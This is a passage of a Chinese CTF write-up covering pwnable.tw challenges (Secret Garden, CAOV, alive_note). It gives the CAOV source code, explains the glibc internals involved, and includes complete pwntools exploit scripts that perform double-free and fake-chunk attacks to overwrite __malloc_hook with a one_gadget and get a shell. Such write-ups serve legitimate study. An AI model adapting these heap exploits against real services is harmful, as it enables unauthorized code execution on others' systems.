login('\x00'+'a'*0x3f+canary[:8]+canary[8:16]+'aaaaaaaa'*3+p32(pop_rdi&0xffffffff)+p16((pop_rdi>>32)&0xffff)+'\n') copy('a'*0x3f) #gdb.attach(io) io.sendlineafter('>> ','2') io.interactive() exp()
9.Secret Garden 题目的漏洞点挺简单的,就是free后指针未置0
因此可以double free,打__malloc_hook指针,设置为onegadget,因为gadget需要满足一定的条件,由于栈中的数据不理想,利用realloc调栈也没有办法满足条件,所以在这里我们利用malloc错误时会调用malloc_printerr
函数。
1 2 3 4 5 6 7 8 9 10 if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) || __builtin_expect (misaligned_chunk (p), 0)) { errstr = "free(): invalid pointer"; errout: if (!have_lock && locked) (void) mutex_unlock (&av->mutex); malloc_printerr (check_action, errstr, chunk2mem (p), av); return; }
接着调用__libc_message
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 static void malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr) { /* Avoid using this arena in future. We do not attempt to synchronize this with anything else because we minimally want to ensure that __libc_message gets its resources safely without stumbling on the current corruption. */ if (ar_ptr) set_arena_corrupt (ar_ptr); if ((action & 5) == 5) __libc_message (action & 2, "%s\n", str); else if (action & 1) { char buf[2 * sizeof (uintptr_t) + 1]; buf[sizeof (buf) - 1] = '\0'; char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0); while (cp > buf) *--cp = '0'; __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n", __libc_argv[0] ? : "<unknown>", str, cp); } else if (action & 2) abort (); }
接着调用BEFORE_ABORT
,且定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void __libc_message (int do_abort, const char *fmt, ...) ··· ··· if (do_abort) { BEFORE_ABORT (do_abort, written, fd); /* Kill the application. */ abort (); } ··· ··· #define BEFORE_ABORT backtrace_and_maps
因此又调用了backtrace_and_maps
,函数调用了__backtrace
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 static void backtrace_and_maps (int do_abort, bool written, int fd) { if (do_abort > 1 && written) { void *addrs[64]; #define naddrs (sizeof (addrs) / sizeof (addrs[0])) int n = __backtrace (addrs, naddrs);#调用__backtrace if (n > 2) { #define strnsize(str) str, strlen (str) #define writestr(str) write_not_cancel (fd, str) writestr (strnsize ("======= Backtrace: =========\n")); __backtrace_symbols_fd (addrs + 1, n - 1, fd); writestr (strnsize ("======= Memory map: ========\n")); int fd2 = open_not_cancel_2 ("/proc/self/maps", O_RDONLY); char buf[1024]; ssize_t n2; while ((n2 = read_not_cancel (fd2, buf, sizeof (buf))) > 0) if (write_not_cancel (fd, buf, n2) != n2) break; close_not_cancel_no_status (fd2); } } }
__backtrace
函数定义如下,发现其调用了__libc_once (once, init);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __backtrace (void **array, int size) { struct trace_arg arg = { .array = array, .cfa = 0, .size = size, .cnt = -1 }; if (size <= 0) return 0; #ifdef SHARED __libc_once_define (static, once); __libc_once (once, init); if (unwind_backtrace == NULL) return 0; #endif unwind_backtrace (backtrace_helper, &arg); /* _Unwind_Backtrace seems to put NULL address above _start. Fix it up here. */ if (arg.cnt > 1 && arg.array[arg.cnt - 1] == NULL) --arg.cnt; return arg.cnt != -1 ? arg.cnt : 0; }
__libc_once (once, init);中的init如下,调用了__libc_dlopen (“libgcc_s.so.1”),又因为__libc_dlopen (“libgcc_s.so.1”)这个函数需要malloc为它分配内存,因此又会调用malloc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static void init (void) { libgcc_handle = __libc_dlopen ("libgcc_s.so.1"); if (libgcc_handle == NULL) return; unwind_backtrace = __libc_dlsym (libgcc_handle, "_Unwind_Backtrace"); unwind_getip = __libc_dlsym (libgcc_handle, "_Unwind_GetIP"); if (unwind_getip == NULL) unwind_backtrace = NULL; unwind_getcfa = (__libc_dlsym (libgcc_handle, "_Unwind_GetCFA") ?: dummy_getcfa); }
整个调用关系如下图
可以看见这时候会先执行malloc_hook,可以看见栈上有大量的0,满足了onegadget的要求。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import * #io=process('./secretgarden',env={'LD_PRELOAD':'./libc_64.so.6'}) io=remote('chall.pwnable.tw' ,10203) #io=process('./secretgarden') elf=ELF('./secretgarden') libc=ELF('./libc_64.so.6') #libc=ELF('./libc-2.23.so') context.log_level='debug' def add(length,name,color): io.sendlineafter('choice : ','1') io.sendlineafter('Length of the name :',str(length)) io.sendafter('name of flower :',name) io.sendlineafter('color of the flower :',color) def show(): io.sendlineafter('choice : ','2') def dele(index): io.sendlineafter('choice : ','3') io.sendlineafter('Which flower do you want to remove from the garden:',str(index)) def exp(): add(0x98,'0','0') add(0x18,'1','1') dele(0) add(0x68,'a'*8,'0') show() malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-16 libc_base=malloc_hook-libc.symbols['__malloc_hook'] realloc=libc_base+libc.symbols['__libc_realloc'] print('libc_base',hex(libc_base)) onegadget=[0x45216,0x4526a,0xcc543,0xcc618,0xef6c4,0xef6d0,0xf0567,0xf5b10,0xf0897] add(0x68,'2','2') add(0x68,'3','3') dele(2) dele(3) dele(2) add(0x68,p64(malloc_hook-0x23),'2') add(0x68,'3','3') add(0x68,'4','4') add(0x68,'a'*(0x13)+p64(onegadget[8]+libc_base),'5') dele(4) #gdb.attach(io,gdb_args=["-d","../../../pwndbg/glibc-2.23/malloc"]) dele(4) #io.sendlineafter('choice : ','1') io.interactive() exp()
10.CAOV 近段时间遇到了好多C++pwn题,但由于太菜,每次都看不懂,因此想在网上找C++pwn题的源码对照ida学习c++pwn,但网上的这种资料太少,四处碰壁后还是靠企鹅才找到了源码。以下是源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 /* g++ -std=c++11 -Wl,-z,relro,-z,now -o caov caov.cpp */ #include <bits/stdc++.h> #include <unistd.h> using namespace std; class Data; Data *D; char name[160]; class Data { public: Data():key(NULL) , value(0), change_count(0){ init_time(); } Data(string k, int v) { key = new char[k.length() + 1]; strcpy(key, k.c_str()); value = v; change_count = 0; update_time(); } Data(const Data &obj) { key = new char[strlen(obj.key)+1]; strcpy(key, obj.key); value = obj.value; change_count = obj.change_count; year = obj.year; month = obj.month; day = obj.day; hour = obj.hour; min = obj.min; sec = obj.sec; } Data operator=(const Data &rhs) { key = new char[strlen(rhs.key)+1]; strcpy(key, rhs.key); value = rhs.value; change_count = rhs.change_count; year = rhs.year; month = rhs.month; day = rhs.day; hour = rhs.hour; min = rhs.min; sec = rhs.sec; } void edit_data() { if(change_count == 10) { cout << "You can only edit your data 10 times at most." << endl; cout << "Bye ._.\\~/" << endl; exit(0); } int old_len = strlen(key); unsigned int new_len = 0; cout << "New key length: "; cin >> new_len; getchar(); if(new_len == 0 || new_len > 1000) { cout << "Invalid key length" << endl; return; } if (new_len > old_len) key = new char[new_len+1]; set_data(new_len); change_count += 1; } void set_data(unsigned int n) { cout << "Key: "; cin.getline(key, n+1); // read n byte + 1 null byte ( auto append ) cout << "Value: "; cin >> value; getchar(); update_time(); } void update_time() { time_t cur_time = time(NULL); struct tm *now = localtime(&cur_time); year = now->tm_year + 1900; month = now->tm_mon + 1; day = now->tm_mday; hour = now->tm_hour; min = now->tm_min; sec = now->tm_sec; } void info() { cout << "Key: " << key << endl; cout << "Value: " << value << endl; cout << "Edit count: " << change_count << endl; cout << "Last update time: "; printf("%d-%d-%d %d:%d:%d\n", year, month, day, hour, min, sec); } ~Data() { delete[] key; key = nullptr; value = 0; change_count = 0; init_time(); } private: char *key; long value; long change_count; int year; int month; int day; int hour; int min; int sec; void init_time() { year = 0; month = 0; day = 0; hour = 0; min = 0; sec = 0; } }; void set_name() { char tmp[160]={}; char c; cout << "Enter your name: "; int cnt = 0; while(1) { int len = read(0, &c, 1); if(len != 1) { cout << "Read error" << endl; exit(-1); } tmp[cnt++] = c; if(c == '\n' || cnt == 150) { tmp[cnt-1] = '\0'; break; } } memcpy(name, tmp, cnt); } void edit() { Data old; old = *D; D->edit_data(); cout << "\nYour data info before editing:" << endl; old.info(); cout << "\nYour data info after editing:" << endl; D->info(); } void playground() { int choice = 0; while(1) { cout << "\nMenu" << endl; cout << "1. Show name & data" << endl; cout << "2. Edit name & data" << endl; cout << "3. Exit" << endl; cout << "Your choice: "; cin >> choice; getchar(); switch(choice) { case 1: cout << "\nYour name is : "<< name << endl; cout << "Your data :" << endl; D->info(); break; case 2: set_name(); edit(); break; case 3: cout << "Bye !" << endl; return; default: cout << "Invalid choice !" << endl; exit(0); } } } int main(int argc, char *argv[]) { setvbuf(stdin,0, 2, 0); setvbuf(stdout,0, 2, 0); setvbuf(stderr,0, 2, 0); string k; long v; set_name(); cout << "Hello ! " << name << " !" << endl; cout << "Welcome to Simple key-value DB playground !" << endl; cout << "Please input a key: "; cin >> k; cout << "Please input a value: "; cin >> v; D = new Data(k, v); cout << "Data create success !" << endl; cout << "Now you can play with your data ^_^" << endl; playground(); return 0; }
本题的漏洞点在dele的指针是我们可以控制的
可以看到v4距离ebp0x50的位置
和他共用一个栈帧的函数其中src是我们可控的,也就是说v4可控,因此我们就能够伪造chunk了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import * #io=process('./caov') io=remote('chall.pwnable.tw',10306) elf=ELF('./caov') #libc=elf.libc libc=ELF('./libc_64.so.6') context.log_level='debug' def add(name,key,value): io.sendlineafter('Enter your name: ',name) io.sendlineafter('input a key: ',key) io.sendlineafter('input a value: ',value) def edit(name,length,key,value): io.sendlineafter('Your choice: ','2') io.sendlineafter('Enter your name: ',name) io.sendlineafter('New key length: ',str(length)) io.sendafter('Key: ',key) io.sendlineafter('Value: ',value) def show(): io.sendlineafter('Your choice: ','1') def exp(): add('f1ag','a'*0x10,'10') payload=p64(0)+p64(0x71) payload=payload.ljust(0x60,'\x00') edit(payload+p64(0x6032d0)*2+p64(0)+p64(0x21),0x7,'b\n','20') edit(p64(0)+p64(0x71)+p64(0x603288-3),0x67,'c\n','30') edit(p64(0)+p64(0x71)+p64(0)*6+p64(0x603280)+p64(0x10),0x67,'a'*0xb+p64(0x603300)+'\n','30') addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00')) libc_base=addr-libc.symbols['_IO_2_1_stderr_'] print('libc_base',hex(libc_base)) free_hook=libc_base+libc.symbols['__free_hook'] system=libc_base+libc.symbols['system'] malloc_hook=libc_base+libc.symbols['__malloc_hook'] gadget=[0x45216,0x4526a,0xef6c4,0xf0567] payload=p64(0)+p64(0x71)+p64(0)*6+p64(0x603280)+p64(0x10)+p64(0) payload=payload.ljust(0x60,'\x00') edit(payload+p64(0x6032d0)*2+p64(0)+p64(0x21),0x10,'\n','20') edit(p64(0)+p64(0x71)+p64(malloc_hook-0x23),0x67,'\n','1') #gdb.attach(io) edit(p64(0)+p64(0x71),0x67,'a'*0x13+p64(gadget[2]+libc_base)+'\n','2') io.interactive() exp()
11.alive_note 输入更加严格,只允许数字大小写字母,并且利用jne连接shellcode,为了简化操作,构造出read函数,输入shellcode执行。关键在于构造int 80
即\xcd\x80
,巧妙方法利用0-1=0xff构造出大于0x80的数字以用来异或。